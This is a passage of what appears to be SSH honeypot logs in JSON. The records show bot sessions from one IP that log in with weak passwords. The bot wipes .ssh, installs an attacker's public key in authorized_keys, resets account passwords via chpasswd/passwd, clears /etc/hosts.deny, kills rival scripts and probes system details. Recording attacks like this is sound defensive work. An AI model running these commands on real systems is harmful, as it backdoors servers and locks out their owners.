-l"},{"seq":15,"at":"2026-08-26T21:26:53.050439+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:26:53.843711+00:00","kind":"output","latency_ms":null,"data":" 21:26:53 up 6 days, 18:17, 0 user, load average: 0.3, 0.23, 0.28\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:26:53.909109+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:26:54.474945+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:26:54.540826+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:26:55.010147+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:26:55.077813+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:26:55.757630+00:00","kind":"output","latency_ms":null,"data":"top - 21:26:55 up 6 days, 18:17, 0 user, load average: 0.3, 0.23, 0.28\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:26:55.828371+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:26:56.358698+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:26:56.424072+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:26:57.221757+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:26:57.290719+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:26:57.989276+00:00","kind":"output","latency_ms":null,"data":"lenovo"},{"seq":29,"at":"2026-08-26T21:26:58.058944+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:26:59.379582+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:26:59.444815+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:27:01.588551+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"lenovo","password":"lenovo","method":"password","accepted":true,"tier":"other"}]} {"id":"1fec95c7-044b-4fc2-be60-59b63ff187be","name":"vernal-peaty-teal","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":35232,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":70,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:25:07.667501+00:00","ended_at":"2026-08-26T21:25:09.073224+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2128,"events":[{"seq":1,"at":"2026-08-26T21:24:56.380244+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:24:56.445460+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:24:58.086462+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:24:58.563343+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:24:58.629864+00:00","kind":"input","latency_ms":null,"data":"echo \"root:JnfjLITMbMn3\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:24:58.696128+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:24:58.762677+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:24:59.282724+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:24:59.348517+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:25:00.559156+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:25:00.627802+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:25:01.893959+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:25:01.964835+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:25:02.442432+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T21:25:02.514756+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:25:03.176968+00:00","kind":"output","latency_ms":null,"data":" 21:25:03 up 6 days, 18:15, 0 user, load average: 0.08, 0.08, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:25:03.244573+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:25:03.641995+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:25:03.713242+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:25:04.147124+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:25:04.217411+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:25:04.524305+00:00","kind":"output","latency_ms":null,"data":"top - 21:25:04 up 6 days, 18:15, 0 user, load average: 0.08, 0.08, 0.08\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:25:04.594114+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:25:05.022109+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:25:05.089304+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:25:05.535850+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:25:05.602648+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:25:06.441643+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T21:25:06.508410+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:25:07.601075+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:25:07.668374+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:25:09.061240+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ly123456","method":"password","accepted":true,"tier":"other"}]} {"id":"dbe14320-b328-4906-b218-12cf23fd2830","name":"sunlit-clever-falcon","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":55536,"username":"dbadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":66,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:23:14.941747+00:00","ended_at":"2026-08-26T21:23:15.883585+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2065,"events":[{"seq":1,"at":"2026-08-26T21:23:05.610447+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:23:05.680200+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:23:08.761359+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:23:08.761744+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:23:08.829469+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\npJv7T2D9YZs2\\npJv7T2D9YZs2\"|passwd|bash"},{"seq":6,"at":"2026-08-26T21:23:08.897595+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\npJv7T2D9YZs2\\npJv7T2D9YZs2\\n\"|passwd"},{"seq":7,"at":"2026-08-26T21:23:08.966475+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:23:08.968659+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:23:09.033920+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:23:09.902768+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:23:09.973872+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:23:10.538817+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:23:10.608019+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:23:10.608478+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T21:23:10.678371+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:23:10.678646+00:00","kind":"output","latency_ms":null,"data":" 21:23:10 up 6 days, 18:13, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:23:10.749036+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:23:10.749530+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:23:10.815691+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:23:10.816594+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:23:10.882522+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:23:11.783054+00:00","kind":"output","latency_ms":null,"data":"top - 21:23:11 up 6 days, 18:13, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:23:11.850482+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:23:12.263666+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:23:12.331190+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:23:12.993097+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:23:13.059277+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:23:13.949637+00:00","kind":"output","latency_ms":null,"data":"dbadmin"},{"seq":29,"at":"2026-08-26T21:23:14.016576+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:23:14.876263+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:23:14.942518+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:23:15.873036+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dbadmin","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"3d52c553-63f2-4812-bec4-2a59e48b7714","name":"leafy-boreal-narwhal","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":45218,"username":"tim","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":68,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:21:11.571637+00:00","ended_at":"2026-08-26T21:21:12.115800+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2048,"events":[{"seq":1,"at":"2026-08-26T21:21:06.349994+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:21:06.417776+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:21:08.876945+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:21:08.877704+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:21:08.947119+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nvxAaZMkxTVcY\\nvxAaZMkxTVcY\"|passwd|bash"},{"seq":6,"at":"2026-08-26T21:21:09.011778+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nvxAaZMkxTVcY\\nvxAaZMkxTVcY\\n\"|passwd"},{"seq":7,"at":"2026-08-26T21:21:09.079267+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:21:09.080144+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:21:09.148743+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:21:09.728209+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:21:09.797884+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:21:10.345203+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:21:10.414353+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:21:10.415101+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T21:21:10.483943+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:21:10.484364+00:00","kind":"output","latency_ms":null,"data":" 21:21:10 up 6 days, 18:11, 0 user, load average: 0.22, 0.18, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:21:10.553853+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:21:10.555080+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:21:10.620678+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:21:10.621264+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:21:10.689297+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:21:10.689835+00:00","kind":"output","latency_ms":null,"data":"top - 21:21:10 up 6 days, 18:11, 0 user, load average: 0.22, 0.18, 0.14\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:21:10.768766+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:21:10.769283+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:21:10.835579+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:21:10.836268+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:21:10.903996+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:21:10.904466+00:00","kind":"output","latency_ms":null,"data":"tim"},{"seq":29,"at":"2026-08-26T21:21:10.970285+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:21:11.504830+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:21:11.572401+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:21:12.105825+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"tim","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"8a39205c-22a2-4fa3-b48f-0ba1dd2bbacc","name":"golden-eager-sparrow","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":40070,"username":"don","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":73,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:19:13.356498+00:00","ended_at":"2026-08-26T21:19:13.890166+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2045,"events":[{"seq":1,"at":"2026-08-26T21:19:07.991873+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:19:08.062665+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:19:10.564761+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:19:10.565290+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:19:10.638145+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\n9u7xv2dmq8A6\\n9u7xv2dmq8A6\"|passwd|bash"},{"seq":6,"at":"2026-08-26T21:19:10.703016+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\n9u7xv2dmq8A6\\n9u7xv2dmq8A6\\n\"|passwd"},{"seq":7,"at":"2026-08-26T21:19:10.771358+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:19:10.773363+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:19:10.840674+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:19:11.409661+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:19:11.484715+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:19:12.005347+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:19:12.078172+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:19:12.078726+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T21:19:12.146873+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:19:12.147440+00:00","kind":"output","latency_ms":null,"data":" 21:19:12 up 6 days, 18:09, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:19:12.219989+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:19:12.220598+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:19:12.294408+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:19:12.295139+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:19:12.369251+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:19:12.369742+00:00","kind":"output","latency_ms":null,"data":"top - 21:19:12 up 6 days, 18:09, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:19:12.447558+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:19:12.449139+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:19:12.518903+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:19:12.519624+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:19:12.594914+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:19:12.596051+00:00","kind":"output","latency_ms":null,"data":"don"},{"seq":29,"at":"2026-08-26T21:19:12.667879+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:19:13.284081+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:19:13.357114+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:19:13.876077+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"don","password":"password","method":"password","accepted":true,"tier":"other"}]} 